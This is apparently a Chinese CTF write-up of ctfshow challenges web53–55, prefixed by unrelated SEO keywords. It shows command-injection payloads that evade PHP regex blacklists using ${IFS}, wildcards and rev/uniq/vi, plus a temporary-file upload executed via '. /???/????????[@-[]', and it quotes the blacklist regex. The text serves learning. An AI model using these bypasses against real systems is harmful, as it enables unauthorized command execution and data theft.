网站制作方案怎么写,安徽城乡住房建设厅网站,中移建设 公司 网站,东莞旅游必去十大景点目录 1、web53
2、web54
3、web55 1、web53 这里的代码有点不一样#xff0c;说一下这两种的区别#xff1a;
#xff08;1#xff09;直接执行 system($c);
system($c);这种方式会直接执行命令 $c 并将命令的输出直接发送到标准输出#xff08;通常是浏览器#xff…目录 1、web53
2、web54
3、web55 1、web53 这里的代码有点不一样说一下这两种的区别
1直接执行 system($c);
system($c);这种方式会直接执行命令 $c 并将命令的输出直接发送到标准输出通常是浏览器不会返回命令的输出值因此不能对输出结果进行进一步处理。
2使用一个参数来接受 system 的返回值后再输出它
$d system($c);
echo br.$d;这种方式不仅会执行命令 $c而且会将命令的最后一行输出结果赋值给变量 $d然后通过 echo br.$d; 将变量 $d 的内容输出到标准输出如果命令产生了多行输出只有最后一行会被存储在变量 $d 中并输出而其他行会直接输出到标准输出。其中 br 是 HTML 标签用于在网页中插入换行符。
比如我们执行一下 ls 看看效果
?cls
输出结果为
lsflag.php index.php readflag
readflag
我们题目代码是
echo($c);
$d system($c);
echo br.$d;
因此会先输出我们传入的内容即 ls紧接着直接输出 ls 执行的结果 flag.php index.php readflagsystem 函数返回命令输出的最后一行执行结果最后一行是 readflag所有 $d 的值是 readflag前面还拼接了一个 br因此会换行输出。
这里还是放出了 $ 符构造 payload 读取 flag.php
?cnl${IFS}fla\g.php 拿到 flagctfshow{1bcea82b-e31b-42ea-bdba-d21411b7e7de}
很好奇这个 readflag 是什么于是读了一下但是有乱码 2、web54 preg_match(/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\|\%|\x09|\x26|\|\/i, $c)
其他都差不多主要是这里使用了很多星号来匹配比如 .*c.*a.*t.* 只要内容顺序符合 ...c...a...t...就会被检测不管在这三个字母前后或者中间有什么都会匹配成功。
nl 被过滤掉了我们可以使用 rev 反向输出。
并且这里通配符问号没有被过滤构造 payload
?crev${IFS}fla?.php 得到}eb6e9b9a201f-cddb-1154-8606-9785878a{wohsftc
取倒序 拿到 flagctfshow{a8785879-6068-4511-bddc-f102a9b9e6be}
在网上还看到了另一个命令uniq
本来这个命令是用于去除相邻的重复行但是我们也可以用它来输出文件内容。
构造 payload
?cuniq${IFS}f???.php 但是这里在这个通配符上面就有点讲究了比如?cuniq${IFS}f?a?.php 可以但是 ?cuniq${IFS}fl??.php 就不行了?cuniq${IFS}fla?.php更不行。
目前不知道是什么原因知道的可以解释下谢谢。
此外还可以使用 vi 命令构造 payload
?cvi${IFS}fla?.php
结果有乱码但是可以在源码里找到 flag 最后再来看题目提示给的 payload
?c/bin/?at${IFS}f??????? 因为 Linux 有很多命令存放在 /bin/ 目录下可以通过绝对路径来使用并且支持通配符。 Linux 下万物皆文件 也就是说 cat 命令也可这样用/bin/?at 3、web55 preg_match(/\;|[a-z]|\|\%|\x09|\x26|\|\/i, $c)
主要是过滤了字母分号过滤了自增也不行我试了取反但是不行不知道是不是需要传给 eval 函数才可以还是什么原因希望知道的师傅可以解释下。
在无字母 rce 里还有一个点临时文件上传
做到这里勇师傅已经感觉到题目难度开始上来了之前并未接触过这个类型的题这里先参照题目提示的方法来
通过post一个文件(文件里面是 sh 命令)在上传的过程中通过 . (点)去执行执行这个文件。
上传的这个临时文件会保存在 /tmp/ 下且文件名一定是 php 加上六个随机的字符即 /tmp/php??????这个临时文件还会有一个特性就是这 6 个随机的字符会出现大写的情况这也是我们的另一个利用点利用大写字母区别于其他文件我们使用匹配符[-[] 即可匹配到大写字母大写字母位于 “ ” 与 “ [ ” 之间。
构造 post 数据包文件后缀为 .html
!DOCTYPE html
html langen
headmeta charsetUTF-8meta nameviewport contentwidthdevice-width, initial-scale1.0titlePOST数据包POC/title
/head
body
form actionhttps://9a129cb5-2611-4aaf-9b78-0424dd5b9ac2.challenge.ctf.show/ methodpost enctypemultipart/form-data
!--链接是当前打开的题目链接--label forfile文件名/labelinput typefile namefile idfilebrinput typesubmit namesubmit value提交
/form
/body
/html双击打开如下图 构造用于上传的文件sh命令
我这里命名为 exp.txt内容如下
#!/bin/sh
ls
上传我们构造的文件使用 burpsuite 抓包这里需要允许抓取本地的请求包 发到重发器添加 payload
?c.%20/???/????????[-[] %20 是空格我们这里使用点执行我们上传的文件从而去执行内容中的 sh 命令该文件会传到 /tmp/phpxxxxxx 过滤了字母我们使用通配符问号代替主要匹配的特征是文件名结尾的大写字母大写字母不一定随机出现在最后一位可能需要多试几次。
我们原本在上传的文件里写的是执行 ls 命令 修改 sh 命令读取 flag.php 拿到 flagctfshow{17c927f3-8b30-4da0-a4e3-7c227b1dac83}
此外在网上还看到了其他的做法
1未过滤数字利用 /bin/ 目录下的 base64 进行通配符匹配构造 payload
?c/???/????64 ????.???
获得 flag.php 的 base64 编码 解码拿到 flag 2利用 /usr/bin/ 下的 bzip2 命令
先将 flag.php 压缩构造 payload
?c/???/???/????2 ????.??? bzip2 命令压缩后的文件后缀为 .bz2因此这里压缩后文件名为flag.php.bz2
访问该文件下载
打开即可看到 flag